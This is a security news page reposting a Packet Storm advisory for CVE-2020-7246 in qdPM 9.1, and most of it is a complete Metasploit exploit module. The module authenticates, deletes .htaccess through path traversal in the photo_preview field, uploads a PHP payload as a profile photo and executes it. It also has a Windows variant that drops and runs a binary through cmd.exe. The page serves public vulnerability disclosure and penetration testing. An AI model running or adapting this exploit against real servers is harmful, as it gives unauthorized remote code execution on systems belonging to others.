Security
Headlines
HeadlinesLatestCVEs

Headline

qdPM 9.1 Authenticated Shell Upload

A remote code execution vulnerability exists in qdPM versions 9.1 and below. An attacker can upload a malicious PHP code file via the profile photo functionality by leveraging a path traversal vulnerability in the users[‘photop_preview’] delete photo feature thus allowing bypass of .htaccess protection. NOTE: this issue exists because of an incomplete fix for CVE-2015-3884.

Packet Storm
#csrf#vulnerability#windows#linux#git#php#backdoor#rce#auth
### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote  Rank = ExcellentRanking  include Msf::Exploit::Remote::HttpClient  include Msf::Exploit::EXE  include Msf::Exploit::PhpEXE  include Msf::Exploit::FileDropper  def initialize(info = {})    super(      update_info(        info,        'Name' => 'qdPM 9.1 Authenticated Arbitrary PHP File Upload (RCE)',        'Description' => %q{          A remote code execution (RCE) vulnerability exists in qdPM 9.1 and earlier.          An attacker can upload a malicious PHP code file via the profile photo functionality, by leveraging a path traversal          vulnerability in the users['photop_preview'] delete photo feature, allowing bypass of .htaccess protection.          NOTE: this issue exists because of an incomplete fix for CVE-2015-3884.        },        'License' => MSF_LICENSE,        'Author' => [          'Rishal Dwivedi (Loginsoft)', # Discovery          'Leon Trappett (thepcn3rd)', # PoC          'Giacomo Casoni' # Metasploit        ],        'References' => [          ['CVE', '2020-7246'],          ['EDB', '50175']        ],        'Payload' => {          'BadChars' => "\x00"        },        'DefaultOptions' => {          'EXITFUNC' => 'thread'        },        'Platform' => %w[linux php],        'Targets' => [          [ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],          [ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ],          [ 'Linux x64', { 'Arch' => ARCH_X64, 'Platform' => 'linux' } ],          [ 'Windows x86', { 'Arch' => ARCH_X86, 'Platform' => 'win' } ],          [ 'Windows x64', { 'Arch' => ARCH_X64, 'Platform' => 'win' } ]        ],        'Privileged' => true,        'DisclosureDate' => '2020-11-21',        'DefaultTarget' => 0,        'Notes' => {          'Stability' => ['CRASH_SAFE'],          'Reliability' => ['IOC_IN_LOGS'],          'SideEffects' => ['REPEATABLE_SESSION']        }      )    )    register_options(      [        OptString.new('TARGETURI', [true, 'The base directory where qdPM resides', '/']),        OptString.new('EMAIL', [true, 'The email to login with']),        OptString.new('PASSWORD', [true, 'The password to login with'])      ]    )    self.needs_cleanup = true  end  def check    uri = normalize_uri(uri, '/index.php')    res = send_request_raw({ 'uri' => uri })    if res.nil?      return Exploit::CheckCode::Unknown    end    login_page = res.get_html_document    begin      version_num = login_page.at('div[@class="copyright"]').at('a').text.tr('qdPM ', '').to_f    rescue StandardError      return Exploit::CheckCode::Unknown    end    version = Rex::Version.new(version_num)    if version <= Rex::Version.new('9.1')      return Exploit::CheckCode::Appears    else      return Exploit::CheckCode::Safe    end  end  def get_write_exec_payload_win(fname, _data)    p = Rex::Text.encode_base64(generate_payload_exe)    php = %|    <?php    $f = fopen("#{fname}", "wb");    fwrite($f, base64_decode("#{p}"));    fclose($f);    exec("C:\\Windows\\System32\\cmd.exe /c #{fname}");    ?>    |    php = php.gsub(/^ {4}/, '').gsub(/\n/, ' ')    return php  end  def login(base, username, password)    res = send_request_cgi({      'method' => 'GET',      'uri' => normalize_uri("#{base}/index.php/login"),      'keep_cookies' => true    })    login_page = res.get_html_document    csrf_token = login_page.at("input[name='login[_csrf_token]']/@value")    send_request_cgi({      'method' => 'POST',      'uri' => normalize_uri("#{base}/index.php/login"),      'vars_post' => {        'login[email]' => username,        'login[password]' => password,        'login[_csrf_token]' => csrf_token      },      'keep_cookies' => true,      'headers' => {        'Origin' => "http://#{rhost}",        'Referer' => "http://#{rhost}/#{base}/index.php/login"      }    })    res = send_request_cgi({      'method' => 'GET',      'uri' => normalize_uri("#{base}/index.php/myAccount"),      'keep_cookies' => true,      'headers' => {        'Host' => rhost.to_s      }    })    account_page = res.get_html_document    begin      userid = account_page.at("input[@name='users[id]']/@value").text.strip    rescue StandardError      print_error('The designated admin account does not have a user ID.')      return {}    end    username = account_page.at("input[@name='users[name]']/@value").text.strip    csrftoken_ = account_page.at("input[@name='users[_csrf_token]']/@value").text.strip    opts = {      'user_id' => userid,      'name' => username,      'csrf_token' => csrftoken_    }    return opts  end  def upload_php(base, opts)    fname = opts['filename']    php_payload = opts['data']    user_id = opts['user_id']    email = opts['email']    csrf_token = opts['csrf_token']    data = [      { 'name' => 'sf_method', 'data' => 'put' },      { 'name' => 'users[id]', 'data' => user_id },      { 'name' => 'users[photo_preview]', 'data' => '.htaccess' },      { 'name' => 'users[_csrf_token]', 'data' => csrf_token },      { 'name' => 'users[new_password]', 'data' => '' },      { 'name' => 'users[email]', 'data' => email },      { 'name' => 'extra_fields[9]', 'data' => '' },      { 'name' => 'users[remove_photo]', 'data' => '1' }    ]    send_request_cgi(      'method' => 'POST',      'uri' => normalize_uri("#{base}/index.php/myAccount/update"),      'vars_form_data' => data,      'keep_cookies' => true,      'headers' => {        'Origin' => "http://#{rhost}",        'Referer' => "http://#{rhost}#{base}/index.php/home/myAccount"      }    )    data = [      { 'name' => 'sf_method', 'data' => 'put' },      { 'name' => 'users[id]', 'data' => user_id },      { 'name' => 'users[photo_preview]', 'data' => '../.htaccess' },      { 'name' => 'users[_csrf_token]', 'data' => csrf_token },      { 'name' => 'users[new_password]', 'data' => '' },      { 'name' => 'users[email]', 'data' => email },      { 'name' => 'extra_fields[9]', 'data' => '' },      { 'name' => 'users[remove_photo]', 'data' => '1' }    ]    send_request_cgi(      'method' => 'POST',      'uri' => normalize_uri("#{base}/index.php/myAccount/update"),      'vars_form_data' => data,      'keep_cookies' => true,      'headers' => {        'Origin' => "http://#{rhost}",        'Referer' => "http://#{rhost}#{base}/index.php/home/myAccount"      }    )    data = [      { 'name' => 'sf_method', 'data' => 'put' },      { 'name' => 'users[id]', 'data' => user_id },      { 'name' => 'users[_csrf_token]', 'data' => csrf_token },      { 'name' => 'users[new_password]', 'data' => '' },      { 'name' => 'users[email]', 'data' => email },      { 'name' => 'extra_fields[9]', 'data' => '' },      { 'name' => 'users[remove_photo]', 'data' => '1' },      { 'name' => 'users[photo]', 'data' => php_payload, 'mime_type' => 'application/octet-stream', 'filename' => fname }    ]    res = send_request_cgi({      'method' => 'POST',      'uri' => normalize_uri("#{base}/index.php/myAccount/update"),      'vars_form_data' => data,      'keep_cookies' => true,      'headers' => {        'Origin' => "http://#{rhost}",        'Referer' => "http://#{rhost}#{base}/index.php/home/myAccount"      }    })    return res.code == 302  end  def exec_php(base, _opts)    res = send_request_cgi({      'uri' => normalize_uri("#{base}/index.php/myAccount"),      'keep_cookies' => true    })    home_page = res.get_html_document    backdoor = home_page.at("//input[@name='users[photo_preview]']/@value").text.strip    register_file_for_cleanup(backdoor)    send_request_cgi({      'uri' => normalize_uri("#{base}/uploads/users/#{backdoor}")    })  end  def exploit    uri = normalize_uri(target_uri.path)    user = datastore['EMAIL']    pass = datastore['PASSWORD']    print_status("Attempt to login with '#{user}:#{pass}'")    opts = login(uri, user, pass)    if opts.empty?      print_error('Login unsuccessful or bad (admin) user')      return    end    php_fname = "#{Rex::Text.rand_text_alpha(5)}.php"    case target['Platform']    when 'php'      p = get_write_exec_payload    when 'linux'      p = get_write_exec_payload(unlink_self: true)    when 'win'      bin_name = "#{Rex::Text.rand_text_alpha(5)}.bin"      bin = generate_payload_exe      p = get_write_exec_payload_win(bin_name.to_s, bin)      print_warning("#{bin_name} will require manual cleanup")    end    print_status("Uploading PHP payload (#{p.length} bytes)...")    data = {      'email' => user.to_s,      'filename' => php_fname,      'data' => p    }    data = data.merge(opts)    uploader = upload_php(uri, data)    if !uploader      print_error('Unable to upload')      return    end    print_status("Executing '#{php_fname}'")    exec_php(uri, opts)  endend

Packet Storm: Latest News

Red Hat Security Advisory 2024-8690-03